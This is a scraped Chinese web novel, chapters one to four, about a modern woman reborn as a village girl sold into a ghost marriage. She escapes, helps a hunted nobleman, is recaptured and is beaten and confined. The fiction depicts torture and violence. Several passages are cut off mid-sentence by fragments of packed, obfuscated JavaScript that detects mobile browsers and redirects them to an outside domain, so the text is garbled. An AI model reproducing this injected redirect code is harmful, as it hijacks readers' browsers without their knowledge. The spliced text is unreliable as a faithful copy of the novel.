《穿为美艳遗孀,四个亡夫铺我青云路》 1. 第 1 章 事发突然,夏知霜穿越了,她正身披嫁衣坐在花轿上。 更恐怖的是,这是一场冥婚。 她只记得自己在冬夜中练琴练到凌晨,从琴房出来下楼时突然一阵心悸,紧接着就倒下了,疑是心脏病发作猝死。 再次睁眼,就是春季里的青天白日,身处家徒四壁的农家小院。 她虚弱地躺在床上,感觉脖子疼得厉害,似乎受了什么伤,床边围着好多人,他们见到她醒来无比惊喜。 那些人你一言我一语,吵得她头疼欲裂——他们似乎在责备她先前的逃婚行为很愚蠢,又叱骂她逃婚失败后不该负气上吊。 然后夏知霜还没搞清楚状况,就被据说是她哥哥的两个魁梧大汉拎下床架住,口称是她娘的人和媒婆强行给她换嫁衣,另有丫鬟扮相的人替她净面梳妆。 他们怕节外生枝,捯饬她的速度快得不可思议。 等她饿着肚子被塞进花轿,丛母抱着幼子啜泣:“贞儿,不是爹娘不疼你,偏你生在了好时辰,这是上天注定的姻缘。” 丛父无奈摊手,唉声叹气:“要怪就怪你命不好,贫苦人家出绝色本非好事,你不是有此一劫,也会有另一难,咱们家无权无势,无论如何都护不住你啊。” “呦,大喜的日子可不兴说丧门话,”媒婆睨他们一眼,冷声警告,“陈家是什么人家,你们是什么人家?你家姑娘能嫁进去那可是三生有幸,别家想攀这个高枝儿还门呢。” 丛家人讪笑不语,不好再得了便宜还卖乖。 花轿迅速离开穷困潦倒的农家小院。 夏知霜从只言片语中猜出了自身的处境:这具身体的原主名叫丛贞,跟她一样年方十六,从铜镜上看也长得有八分相像。 家大业大的陈家看中了丛贞的生辰八字,家人把她卖了,去给英年早逝的陈少爷配阴婚。 丛贞逃婚失败后还是不愿嫁去陈家受辱,趁着家人不注意上吊自尽了,机缘巧合下,她在丛贞的身体中重生。 而今,她代替丛贞去配阴婚了。 媒婆不时催促,轿夫脚下生风,花轿“吱嘎”乱摇。 夏知霜觉得质量看起来不太好的轿子像蛋壳,而自己就是里头快被摇散的蛋黄,别提多难受了。 可她没有多余的精力去适应颠簸,她的时间不多了。 虽然不清楚具体情况,但冥婚听着就骇人,估计凶多吉少,不然丛贞也不会选择自尽。 看来这婚还得逃! 夏知霜强忍反胃的不适感,仔细观察绑住她双手的绳子。 约莫是陈家派来的人没把她这个弱女子当回事,只意思性绑着限制她的自由,没有下大力打死结。 她略微调整姿势,悄咪咪用牙齿咬腕间的绳结。 能咬松!她刹那间信心大增。 夏知霜大气不敢喘,尽量保持安静地解绳。 冥婚有别于正常的婚礼流程,轿夫和随行之人面沉如水,更没有配备吹吹打打的喜乐,路上很安静。 媒婆耐不住好奇,往陈府的大丫鬟身边凑,朝花轿努嘴:“我说桃红姑娘,待会儿这位……是个什么章法啊?我好准备准备。” 提前知道新娘子怎么死,等会新娘下轿时,她好唱贴切的吉祥话不是?毕竟各个死法都有对应的几套唱词。 说起来,这陈家办事真够古怪,什么都不肯透露,这正经的媒婆倒成了摆设。 媒婆四姑保媒数十年,声名在行内数一数二,就没干过这么憋屈的活计。 丫鬟桃红眼皮抬都不抬,老气横秋道:“你依照约定,把新娘子送到少爷身边即可,闲事休要打听。” 四姑一听就发愁。 哪有这么没头没尾的接亲送嫁流程啊,万一乱了套,不止拿不到陈家的赏银,岂不是还要白沾一身晦气? 四姑干笑两声,假装没瞧见桃红的冷脸,兀自往下说。 “不是我自夸,我保媒三十年,什么风浪没见过……” 什么城东周家的冥婚她办得漂漂亮亮,城西赵家的婚事她理得妥妥当当。 四姑嘴皮子一溜,连说了好几家冥婚的事迹,从城内到城外一路喋喋不休,力证她确实是经验丰富的老手,完全值得陈家托付和信任。 然后,夏知霜就听见了别个配阴婚的人的不同死法。 周家公子命中缺水,他的新娘被沉河;赵家少爷命里少土,他的新娘被活埋;郑大公子缺火,他的新娘被活活烧死。 她稍后的下场,想必取决于陈少爷五行缺什么。 夏知霜毛骨悚然,立时出声:“停一下!我要上厕……不是,我要出恭!” 花轿摇晃前行,媒婆闭了嘴,桃红不搭腔。 所有人把她的话当成耳旁风。 夏知霜提高声音:“那就别怪我把屎尿拉到嫁衣和花轿上,让你们也跟着受罪!” 媒婆看向桃红,她是陈府派来主事的,她说了才算。 桃红有点迟疑,要是草草了结她的话她拉了就拉了,但是不久将做法事,就怕污物浊气脏了道场。 寻思几瞬,桃红示意轿夫停下,把绳头卷到腕上缠紧,不耐烦地掀开帘子。 新娘子规规矩矩安坐,绳子另一端延伸至大红广袖内,想是还好好绑着,一切如常。 “出来,”桃红用力扯绳子,“我带你去。” 夏知霜磕磕绊绊出了轿子。 四姑索性取下她花开并蹄图案的盖头,反正冥婚也不怎么注重这个,回来了再盖上就行,她能看清路走得顺当才不耽误太多时间。 夏知霜被人牵狗一样拖着走。 她不习惯走山路,速度很慢,正好借机观察地形。 桃红恶狠狠瞪她,恫吓道:“少给我磨磨蹭蹭,你的吉时可是云鹤真人亲自看好的,一年当中才有这么一个好日子。别怪我没提醒你,要是误了吉时,你定会生不如死!” 夏知霜表示委屈:“我不是故意的,是鞋子不合脚。” 桃红翻了个白眼,倒是放慢了一点速度,不时回头厉声催她。 夏知霜急得犹如热锅上的蚂蚁,面对桃红还要装温驯,实在难熬。 复行数步,余光瞥见一块巴掌大的石头,她顺势惊呼着往下一摔,飞快把石头牢牢抓在手里。 桃红回头怒瞪,果不其然又训了她一顿。 夏知霜不禁庆幸嫁衣的袖子够大、够长,遮掩效果杠杠的。 站起来后,这回她被赶在前头走,桃红拿着木棍在后面赶,要是她走得慢了,木棍便用力敲到她的腿肚上。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326848|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 好疼啊,夏知霜痛得龇牙咧嘴。 两人钻进树林后没走多远,桃红抬抬下巴,要她在这里解决。 夏知霜没动,无辜地晃了晃双手。 她被绑着嘛,当然不能自己脱裤子了。 桃红皱紧眉头,快步过去给她解衣带和裤头,为了不弄脏婚服,全程也要给她捧着衣摆才行。 夏知霜目测了一下距离,桃红比她高了一个头,即使对方低头给她整理衣裳,身高差还是没有拉开太大。 这个距离还是不好动手啊。 夏知霜轻微蹬脚,为难地说:“我鞋子松了,怕是要开线,里头还进了石子,我站不稳,不好蹲下去。” 桃红忍着火气,看她努力蹲下而摇摇晃晃地样子,放下解到一半的带子,蹲下去检查她的绣鞋。 夏知霜瞅准时机,撂开早就解下的绳头,举起跌跤时捡的石块,朝对方后脑勺使劲砸去。 “你……”桃红身躯猛然震动,想要抬头看个究竟。 夏知霜马上补砸了第二下,这一次力道比之前那一次重些,桃红软绵绵地瘫了下去。 她全程冷静得反常,丢开染血的石头了才开始后怕,心率极速上升。 ……这人不会死了吧? 夏知霜抖着手探过去,感觉到桃红鼻息尚存才松了口气,她只想脱困,不想杀人。 没时间耽搁了,得尽快逃离此地。 夏知霜脱下碍事的嫁衣外袍丢掉,选了个相对好走的方向逃去。 越往里走,树林就越密集,她不一会儿就迷路了。 今日是阴天,没办法利用太阳东升西落的常识去辨别方向。 夏知霜以前是温室里的花朵,从未踏足过深山老林,完全没有储备过野外的相关知识,只能凭着感觉横冲直撞。 绣鞋是真的不好走山路,她一路摔了好多次,裸''露的皮肤尽是荆棘划出的伤痕,有点刺痛,出血倒不多,很快就能止住。 好在丛贞的身体素质不错,即使跑出了很长一段距离,夏知霜也只是喘了点,还不觉得怎么累。 她顺着几条兽道一直跑,幸运的穿行到一条平坦的小路上。 夏知霜在小道上不要命似的狂奔。 不知跑了多久,双腿变得沉重,快要跑不动时,惊喜地看到前面有一匹白马! 她小时候学过骑术,虽说称不上精通,更没在山地跑过马,但骑马总比她用两条腿逃命靠谱得多。 夏知霜缓和气息,小心翼翼靠近白马。 白马扫了她一眼,没什么反应,不是那种生人勿近的悍马。 她左顾右盼,没发现第二个人,白马主人应该是有事暂离,才把马栓在这里的。 时间紧迫,顾不得那么多了。 夏知霜麻利拆卸髻间的首饰,还有手镯什么的,一股脑堆在绑马的树下,权当买马的费用。 陈家给的首饰都是真金白银打的,几个玉镯也全是好东西,一套下来值不少钱呢。 夏知霜火速勾住缰绳,胸中填满即将逃出生天的喜悦。 岂料,她刚解开第一个绳结,“哆”的一声闷响,一柄飞刀深深扎进树里,几乎是贴着她的手指扎进去。 “且慢!”有人呵道,一袭青影飞快赶来。 2. 第 2 章 那人戴着垂缨冠,青色华服的绣纹流光溢彩,腰际悬着宝玉和佩剑,昭示此人非富即贵。 夏知霜不知对方来意,没有松开缰绳,反而攥得更紧了。 对方身手矫健,眨眼赶到近前,她同时看清了那人的样貌。 隽秀的青衣公子眼神凌厉,仪态绝佳地随手一比:“这是我的马,不知姑娘是何意?” 他边说,边把水壶的带子扣好,适才俨然是汲水去了。 夏知霜怀着做坏事被抓包的羞愧感,讷讷地答:“我,我无意冒犯……” 她快速打了一遍腹稿,简明扼要地陈述了缘由,表明她不是故意要夺人爱马。 夏知霜凄然地说:“事急无君子,我已经走投无路了,常言道‘救人一命胜造七级浮屠’,恳请公子忍痛割爱,等我安全脱身,可以约个地方把爱马归还。” 刘宁警惕地望向来路,复扫了眼她拿来充当左买马报酬的金银首饰,不为所动:“换作平时,在下并非不能拱手相让,只是在下也着急赶路,这马是断不能让与姑娘的。” 夏知霜起初被对方的气势唬住了,眼下才发觉,他后肩处的布料有利刃穿刺的痕迹,外袍下摆沾染了一滩干枯的血迹,鞋面的绣线尽被尘土附着。 …… 敢情碰到了个逃命的倒霉蛋! “看来你我同是天涯沦落人呀。”她心有戚戚焉。 刘宁不语,盯向她依然紧抓的缰绳。 夏知霜见他面善,不肯放走最后一根救命稻草,焦急央求:“公子!公子就载我一程吧,有人想要害我,我要是落到那些人手中,必定凶多吉少啊!” 刘宁观她被山间荆棘和藤蔓伤得皮无好肉,动了恻隐之心,转念又硬起心肠。 “我曾有精锐护卫二十余,人人骁勇善战,以一敌十不在话下。”他悲戚轻叹。 刘家暗卫出类拔萃,在观淇九地闻名遐迩。 有人擅弓,百步穿杨易如反掌;有人力大,举鼎不费吹灰之力;有人剑术卓绝,双手剑独步天下。 这些武艺超群之人,路上为了保护他已然惨遭敌手,竟无人生还。 刘宁在委婉提醒她,跟他共骑恐怕会死得更快。 夏知霜迟疑了,她自认没有那些护卫的高超本领,何况对方的仇家听起来可比陈家要穷凶极恶。 他们俱都自身难保,谈不上谁救谁了。 心乱如麻间,白马打了个响鼻,突然躺倒在地。 她不明所以地打量白马。 刘宁有所了然,黯然解释:“我几天日夜兼程,昼雪撑不住了。” 这下不用争了,马比人还累。 夏知霜转眼见他看着马拔出佩剑,心中一紧,不忍地求情:“跑不动不是它的错,你何必要杀……” 话音未落,便见他挥剑斩断缰绳,名为“昼雪”的白马静静注视他,似是知道分别在即,它汪汪泪眼含着悲意。 刘宁耳朵微动,捕捉到了远处一点异响,神色凝重:“此非久留之地,当速速离去。” 没人回应,他侧头一看,夏知霜已先行数步。 她甚至回头招手,低低催促:“快走呀。” “……”刘宁将剑回鞘,疾步追上。 等他赶到近前,夏知霜一把拽住他的袖口把人往山上拖,紧急藏进一个树洞里。 这是一棵巨大的古树,她在山上找路时无意中发现的,因其空了半边,一眼就能扫视洞内的全貌,她当时还很遗憾不能供她暂时躲避。 可如果不是从陈家搜山的视角,而是从底下的路面往这边看,会被连着根的另外半边树皮遮挡,形成一小块盲区,就好像这棵树还是完好无缺。 刘宁此前只策马经过附近的山路,从未上过这座山,初次发觉这棵巨树是空心的。 他并非不知好歹之人,领会她的用意后,非常积极的配合她借树藏身。 尽管如此,要树洞同时容纳两个人,还是有一定的难度。 二人挤来挤去,刘宁思考了不过一息,铁臂伸展箍紧她,令其纤薄的后背靠嵌在自己怀中,顺手把她贴地的嫁衣下摆往回拨。 一切发生在电光火石之间,夏知霜反应过来时,鼻尖嗅到了若有似无的兰芷气息和淡淡血腥味,她愣了愣,旋即听到身后的人极轻地闷哼。 他身上带伤,当前蜷缩的姿势让伤口破裂了。 夏知霜抱紧双膝,尽量缩小自己身形。 二人姿势暧昧,却谁都没有往男女绮思上去想,全副心神都放在前后左后,加速的心跳源于害怕被发现的紧张。 几乎在他们刚躲好之际,小路上有几人策马疾驰,他们停在昼雪躺倒的地方,风中隐约传来谈话声。 “他弃马了,绝对跑不远。” “人就在附近,追!” 马儿撕嗓的悲鸣陡然传来,那些人在继续追捕前,挥刀斩杀了无力逃离的昼雪。 刘宁紧握拳头,哀痛地闭上双目。 夏知霜惊惧交加,直到马蹄声渐远,她才小心翼翼探身确认那些人真的离开了。 ? 假使他们方才顺着那条路逃跑,迟早会被撵上的,不好说他们会对她身边的青衣公子怎么样,她的下场只怕和昼雪一样,顺手就被他们灭口了。 不知不觉在鬼门关溜弯两次,夏知霜打了个冷颤。 真是福无双至,祸不单行啊。 她心情复杂叹道:“你暂时安全了。” “此话尚早,”刘宁冷笑,“他们放言活要见人死要见尸,若我没猜错,后头还会有几批杀手追来,途径之地想杀我的人也多得是。” 夏知霜惊呆了,这命比她的命还苦,这人究竟犯了什么人神共愤的事? 交浅言深是忌讳,再且,她没有时间追问别人的事,虽然她一路顺着兽道翻山,借此掩藏了行踪,但兽道时断时续,也留下了一些她开路的痕迹,陈家人追上来只是时间问题。 怕什么来什么,刘宁话音刚落,另一侧的山腰传来了嘈杂声。 “他们追上来了!”夏知霜骇然,说着话就四处张望找路要逃。 “这边。”刘宁隔着衣料握住她的手腕带路。 夏知霜人生地不熟,索性随他穿山越岭。 对方似乎熟识此地,很快就找到了另一条仅容二人通行的蹊路。 两人断开手,各跑各的。 刘宁原本担心这位娇弱的姑娘赶不上他,寻思扶助一二,但见对方没落下多少距离。 “姑娘好快的脚程。”他难掩惊讶。 夏知霜亦觉意外,她又饿又累,可休息了一会儿速度就又提上来了。 大概是丛贞劳作惯了,身轻体健,或许还有几分长跑的天分。换作她前世那具病怏怏的废物身体,怕是没跑两下就瘫在半路,早被人抓回去做鬼新娘了。 她心下自嘲时,并肩之人再度言语。 “姑娘有无来过此地?”刘宁轻握剑柄,细细观察她神情,“可晓得此路通往何处?” 夏知霜茫然摇头。 刘宁匆匆解释:“这路后接幽州的三扬县,前通阑州的靖隅城,”顿了顿,他接着问,“你可有靖隅县的路引?” 夏知霜摇头如拨浪鼓。 天可怜见,她听都没听过那些地名。 刘宁心下有了计较,松开剑柄,告诉她前面会有岔路,建议她左行,一里地外有条小道,顺着小道往山上走,半山腰处有座竹屋。 竹屋是他从前到这边来跑马、打猎和散心时歇脚而建,生活用品一样不缺,地板下有个夹层存放干粮。 她身形娇小,可以躲进夹层内,一般人进屋去搜个三五遍也发现不了夹层的存在,想是足以躲避陈家人的追击。 “机关在第二片床板的背面,是很常见的样式,按下卡槽便能打开夹层入口,”刘宁不放心地问,“可记住了?” 夏知霜喘着气,用力点头:“我记下了。” 语毕,她犹豫了下,加快步速,上前扯住他的袖子:“你的伤势很严峻。” 刘宁猛然低头,惊见右臂的箭伤在跑动中裂得更开,血液不时顺着淌下,他却全然不知。 好险!如果淌着血一路留着踪迹,后果不堪设想。 他途中就收到千丝台的密报,前方靖隅县的主政官已叛变,城内必然有伏兵等着他上门,他赌的是对方猜一定去靖隅的县城求救,才反其道而行,临时改远道去梓渊关求援。 若是因为血迹而暴露行踪,他只怕到不了梓渊关,就被追兵杀死在半路了。 刘宁面色铁青,拔剑割开右臂的布料,从怀中掏出金疮药,往血肉模糊的伤处洒上药粉。 药粉过于刺激,他疼得额上渗出细密的冷汗,硬是咬紧牙关不吭一声。 刘宁丢开空瓶,撕出一条衣带,用牙齿咬着另一端的带子包扎。 然而那个位置不好自己发力扎紧,会耗费不少时间,而他们恰恰最缺时间。 “给我。”夏知霜看不过去,靠过去接手。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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夏知霜双手拄着膝盖,尽力吐字清晰:“后会有期,愿你平安渡过此劫。” 刘宁觉发觉她的状态不太妙,多停留了几瞬,出言鼓舞:“姑娘两次助我,刘宁铭记于心,若在下有幸苟活,若姑娘不幸身陷囹囵,在下必会鼎力相救,倘违此誓,死无全尸!” 萍水相逢的人承诺到这份上,他真是个好人啊。 夏知霜十分感动,听他问起她死鬼夫家的状况,她搜肠刮肚,结结巴巴的说是只晓得对方姓陈。 刘宁颔首,面对她倒退着走拱手辞别,随后转身离去。 夏知霜也没耽搁,立时往北,向他说的竹屋奔去。 不知缘何,剩她独行后,感觉比两个人赶路时要累得多,仿佛时间被拉长,腹中的饥饿感被成倍放大。 换嫁衣时,丛家人说他们把丛贞关了一天让她“反省”,期间不给吃不给喝,而她穿来后到现在也水米未进。 算了下时间,这具躯体足有一天半没进食。 之前她满脑子想着怎么跑路,遇到刘宁后,有人分散了她的注意力,此时此刻,她才无法忽视身体的种种不适。 好饿哦。 尽管知道再努力跑一里地,爬到半山腰的竹屋就有干粮充饥。 可是好累啊。 夏知霜手脚发软,实在跑不动了,她又怕又急,可是力竭的身体不由她的意志力而控制。 “快点!” “仔细搜!” 她听到了追兵的声音,不知是陈家的,还是刘宁的仇家。 夏知霜气息紊乱,胸腔火辣辣的疼,她拖着灌铅般的双腿往前去,实在走不动累趴了,就拼命的往前爬,衣衫和发丝被汗水浸湿了。 她不想认命,更不想把性命交到别人手上。 事与愿违。 紧赶慢赶,她还是被陈家人追上了,两个家丁把她架起来,面前站着包扎过的桃红。 “啪!”桃红阴着脸狠狠掴她一巴掌,想想气不过,用力给她另一边脸也来了个嘴巴子。 夏知霜全身绵软,被掌掴得东倒西歪,有气无力地瞪着桃红。 桃红还不解气,再度举高双手。 后到的媒婆四姑“哎呦”一声,赶忙拦住她的手:“姑奶奶消消火,何必跟一个将死之人置气呢。” 新娘子可不能死在送亲路上,仪式没办完就死不吉利。 桃红冷冷刮了夏知霜一眼,没再动手,对家丁抬了抬下巴:“带走。” 家丁合力扛起夏知霜,几乎以狂奔之势往回赶。 夏知霜面无人色,挣扎不能,只能任人宰割。 回到岔路口,她发现不对了,他们没有顺着小道原路返回,而是爬山涉水,朝另一个方向而去。 3. 第 3 章 夏知霜被五花大绑抬到了目的地,他们半点不怜香惜玉,近乎扔的姿势抛下她。 她被摔得眼冒金星,浑身无处不痛,可眼前的场景让她恐惧到疼痛都顾不上。 深山老林中开辟出了一大片空地,当中伫立着一块气派的石碑,碑前摆有香案,上头尽是各色各样的贡品。 想必这就是那位陈公子的坟头了。 不远处有个刚挖不久的土坑,大概率就是为她准备的葬身之处。 夏知霜如芒刺在背,汗毛根根竖起。 墓地四周贴着不知作用的黄符,几个围着坟墓打坐的道士虎视眈眈地盯着她,形似恶狼看着可怜的小羔羊。 只有一个年轻的小道士目光扫过她身上大大小小的伤口时,目光流露出同情,停止了念诵。 夏知霜死死盯着土坑,越看越诡异。 只因坑边围着三个大桶,桶身同样贴上符纸,旁边另设一个香案,案上铺了撒满五谷的红布,五谷上是五禽的皮,皮毛之上又置有红绳系的一张写有两人生辰八字的彩笺。 她不知那是干什么用的,可第六感告诉她,她今日十有八九难以善了了。 夏知霜绝望闭目,绳子挣不脱,又有那么多人看守,完全没有机会二次逃跑,真正到了走投无路的境地。 不说她没见过这种场面,纵是专门牵阴亲的四姑亦是张口结舌。 好歹四姑专司其事,眨眼就转过弯来,心惊肉跳地问:“桃红姑娘,这是……五行地罗阵?” 五行地罗阵以男女双方八字列阵,假以女方入阵,女方需生前轮一遍“五行路”,再以男方缺的五行属性的入葬方式收尾,如此最旺亡侣,待到男方轮回时,来世能投身簪缨世族。 所谓的五行路,指冥婚中各属性的对应死法。 现如今,夏知霜成了入阵的那一方,要把关于五行的入葬方式全体验个遍。 陈大少命中缺金,她就先经历一个时辰水刑,捞出来后架在火上烤一个时辰,性命即将被火海吞噬之际,又被木制的钉子穿刺四肢,固定在绘制了压制阵法的棺椁中,以灌金埋土为终。 轮刑之中,她会被几番吊命,直到刑毕都不会断气,简直是求生不得求死不能,而棺身的压制阵法只要不被破坏,就会长久镇压她的亡灵。 换言之,如果她死后怨气太重也不能成为厉鬼复仇,只要阵法在一天,她的灵魂就会受制于陈家,成为荫泽陈公子的工具鬼,永无翻身之日。 俗话说生求富贵,死求轮回。 五行地罗阵束缚亡灵,困其不得轮回,有违天理,此等阴毒之法为世人所不耻,难怪陈家先前连媒婆都不肯透露。 要不是新娘子逃婚后媒婆跟着一起寻人,再稀里糊涂地押人至此,加上时间紧迫桃红懒得管她,不然她有生之年恐怕都无缘得见五行地罗阵。 此情此景,四姑倒情愿被蒙在鼓里,不被牵连才好。 桃红果然没理会媒婆,急切上前数步,对为首的长胡子老道微微躬身:“秉云鹤真人,我们把人带来了。” 云鹤真人缓缓闭眼,拂尘遥指:“已午时又四刻。” 桃红顺着望去,只见那里竖剑为晷,影子已斜,心不由得一沉。 法事的吉时是早早卜算好的,老爷和夫人千叮咛万嘱咐,要他们莫误了吉时,他们把人抓回来后一路紧赶,没料到还是错过时辰了。 若是老爷和夫人知道她坏事了,恐小命不保。 桃红对陈家折磨人的手段再了解不过,她没有一丝犹豫,扑通下跪:“真人慈悲,只不过晚了一刻,还请真人想想办法!” 四姑见此,忙跟着家丁和护院一并跪下,她虽不明白个中缘由,但有一件事她非常清楚,假若这事搞砸,莫说邀赏没戏,怕是脑袋都要搬家。 云鹤真人无动于衷,悠然未语。 夏知霜登时明白这里谁才是真正做主的人,她拼命挣扎,想跟那老道求情。 奈何她嘴里塞着布,只能发出模糊的呜咽声。 看守她的护院被她带着趔趄,怒扇她一记耳光:“老实点!” 夏知霜被掴倒在地,嘴角竟溢出了血丝。 好痛,好饿,好累啊。 她满头冷汗,全身汗湿得像是从水里捞出来,而且彻底失了力气,再不能起立。 夏知霜忍痛抬眸,泪眼婆娑地凝睇道士们,无声哀求着,极尽可怜之态。 好不容易在异世续命,她不想死。 既然站不起来,她就努力向前爬,尽管看起来原地不动,动作也愈来愈僵硬迟缓,她还是不肯放弃,直至指缝塞满尘土,指尖破皮出血。 然,众人屏住呼吸看着沉吟不语的老道,他们根本不看,也不在意她作何反应。 唯最年轻的小道士动容了。 夏知霜敏锐察觉到了,泪眼只注目他一人,苦苦哀求。 年轻道士忍了又忍,终是敌不过心中那关,附耳道:“师父,吉时不复,行事恐遭反噬。” 云鹤真人瞥向小徒弟,如何猜不到他心中的小九九。 老道士长叹一声,小徒弟到底还年轻,又是头一次跟出来干这种事,于心不忍也正常。 多经经事就好了,久了他便会明白,这世道最要不得的就是“善”。 话虽如此,云鹤真人仍然成全了小徒弟未泯又宝贵的天真,反正错不在他们这边,该得的报酬一个子儿都不会少。 “贫道事先有言,吉时乃天赐,可遇而不可求,”云鹤真人捋捋胡须,一派风轻云淡,“汝等来迟,良机已失,此阵再启不能。” 桃红脸色煞白,瘫坐在地,其余陈家人无不面如土色,悲悲切切。 老道的徒弟们纷纷起身,揭符散阵,好不忙碌。 夏知霜轻舒一口气,死立决改死缓了,她感激地看向小道士。 那小道士挠挠头,表情也很高兴。 云鹤真人斜了小徒弟一眼,示意他见好就收。 小道士不仅没领悟师父的意思,嘴角反而快咧到了耳根,得寸进尺地扯住师父的广袖轻摇求情。 偏偏老道最看重他的赤忱之心,拿他没辙。 罢了,送佛送到西。 云鹤真人装模作样卜了一卦,幽幽叹道:“真乃命数也。” 众人复望他,疑惑不解。 云鹤真人转向桃红,徐徐说:“烦请转告陈员外,‘令郎英年早夭,苦于不能尽孝,忧父怜母,难得安息,今命贤媳代孝,望珍之待之,否恐生变故,切记,切记’。” 这话如同尚方宝剑,今日种种都有了合理的解释。 桃红连忙应下,心喜于对老爷和夫人有了交代,不是他们看管少夫人不利,是少爷想找人代替尽孝才在冥冥之中安排了这一切。 一旁的四姑也拍了拍胸口,总算不用担心会被陈家迁怒而灭口了。 最高兴的人当属夏知霜,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326850|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半是为死里逃生而高兴,半是为未知的前路而担忧。 顶着烈焰毒日,所有人飞快收拾好行囊。 道士那边率先整理好,桃红亲自给云鹤真人挑帘,送行五步。 待走远些,小道士没忍住,回头踮脚看那新娘子怎么样了。 “玄灵。”云鹤真人在轿中沉沉唤道。 “是,师父!”李玄灵马上回神,恭敬守在轿旁。 “你是不是觉得,为师贪财害命,全无仁慈,咱们扶微观,担不得观东第一观的盛名?” “……回师父,弟子不敢。” “傻子,你不吃人,就会被人吃呐。”云鹤真人摇头长叹,“想当年,为师初入门的时候,比你还要天真仁善啊。” 山风肆拂,话语如梦呓,转瞬消散无形。 另一边。 夏知霜被原样塞回花轿,许是累极,她上下眼皮一碰,昏了过去。 不知过去多久,她被一盆冷水泼醒。 她依旧被捆绑,侧脸贴着光滑的石板,衣服湿漉漉地黏在身上,极不舒服,绵长的痛楚随着神志的苏醒而蔓延全身。 连呼吸都扯得脏腑疼痛难耐,可能是受了内伤。 夏知霜怕伤势加重,维持倒地的姿势不敢乱动,只艰难地转动脖子,入目是一双精致的绣鞋,视线上移,看到一位贵气打扮的四十岁左右的妇人。 妇人双眼红肿,显然是听到桃红转述云鹤真人的话后恸哭了一场,看起来更加不好相与,她傲然俯瞰夏知霜,犹视恶浊。 几步开外站着一个八字髭须的中年男子,他居高临下地审视夏知霜,眼神冰冷。 满院的仆人也有意无意打量她,目光不善。 夏知霜骇然环视,只看到几面披着暮色的高墙,空手决计翻不出去。 她现在深刻体会到了“高门深宅”的压迫感,高得她害怕,深得她喘不过气。 丫鬟柳绿姗姗来迟,恭敬地奉上鞭子。 陈母夺过长鞭,越想越气,他们陈家为五行地罗阵筹备了整整两年,却因她逃跑而错过吉时功亏一篑,着实可恨。 “胆敢坏我儿好事,贱人!”她咬牙切齿,恨恨挥鞭。 夏知霜已经挣扎着躲避,但她被紧紧捆绑,躲不了太远,鞭尾不偏不倚打到她身上。 好痛!她疼得打滚,痛吟被口塞堵在喉咙中。 陈母怒意难消:“让你贱命苟存,害我儿在泉下无人为伴!” 第二鞭的力道更重。 夏知霜被限制自由无法躲避,生生受了两鞭,仿佛内脏都被打移位了,疼得汗水涔涔,嘴里不停呜咽,泪水失禁。 陈母尚不解恨,抬手再打。 “会出人命的,”陈父拦住她,劝道,“莫忘云鹤真人所言,她是鸿彦故意留命代其尽孝,咱们不要辜负他的孝心。” 提到儿子,陈母情绪崩溃,鞭子脱手落地,悲鸣后低低哭出来。 郑管家上前,用眼神询问怎么安置这位“少夫人”。 陈父搂过妻子安慰,不耐烦地挥手。 管家意会,喊来两个粗使婆子:“把少夫人送到柴房,”转向家丁,“速去医馆找个大夫来给少夫人治伤。”总得依照云鹤真人的话保住她的命不是。 下人们领命。 被抬走的夏知霜早在陈员外发话时,得知小命保住,就撑不住又厥过去了。 然而她没想到,噩梦才刚刚开始。 4. 第 4 章 这次受的鞭伤,让夏知霜在柴房躺了好几日。 初春的天还有点凉,柴房内没有床,空间逼仄,她蜷缩进墙角或坐或躺。 昏暗、寒凉和闭塞,到处弥漫着难闻的霉味,是夏知霜对柴房的所有印象。 角落里有个据说是恭桶的东西,不到万不得已,她不会疏解三急,不然异味会盖过霉味侵占整个狭窄的空间。 每天有婆子定点送餐送药来一趟。 药是冷的,餐食是一碗很稀的米粥,有时候会加菜——一个馊掉的小馒头。 夏知霜昏昏沉沉,硬是抗过了几波反复的高烧,连她都佩服自己旺盛的求生欲。 后来伤口结痂,体温恢复正常,精力日渐回笼,她便觉得度日如年。 每当有人进出,夏知霜总会强撑精神跟唯一能打交道的人说说话。 “婆婆,我好冷,能不能给我带条毯子?不行的话随便施舍我一件旧衣服穿也行。” “这些东西不够我吃一天,婆婆您行行好,多给我点吃的吧!” “给我开一点窗通风好不好,只开一条缝换气就行。” 她不停争取着,一天天,一日日地恳求。 婆子冷着一张老脸,无论夏知霜对她说什么都不会回应,甚至不会多看她一眼,送完东西更换掉恭桶就走人。 房门上锁,整个世界安静得像是一座活人坟。 不一会儿,柴堆内窸窸窣窣。 夏知霜默数五声,果然看见硕大的老鼠探头探脑。 蛇虫鼠蚁是柴房里的原住民,她这些天见过不少。 刚开始发现它们的时候,她吓得放声尖叫,之后见多了竟然习惯了,它们也由谨慎地避开她变得忽视她的存在。 如今忍饥受冻的夏知霜看他们的眼神也变了。 那老鼠真肥啊,烤熟后肉质肯定很不错,皮还能裹住脚丫子御寒;那条时不时出现的菜花蛇应该没有毒,要是捉来做蛇羹,味道不知该有多鲜美。 夏知霜眼冒绿光,天马行空的想象一通,刚冒头的老鼠被她盯得害怕,嗖的一下消失了。 啊,食材跑了。 她一阵惋惜,不过真抓到了也没条件生火做熟,目前还没到茹毛饮血的地步。 可如果继续饿下去,生肉也不是那么难以下咽…… 夏知霜被这个想法吓到了。 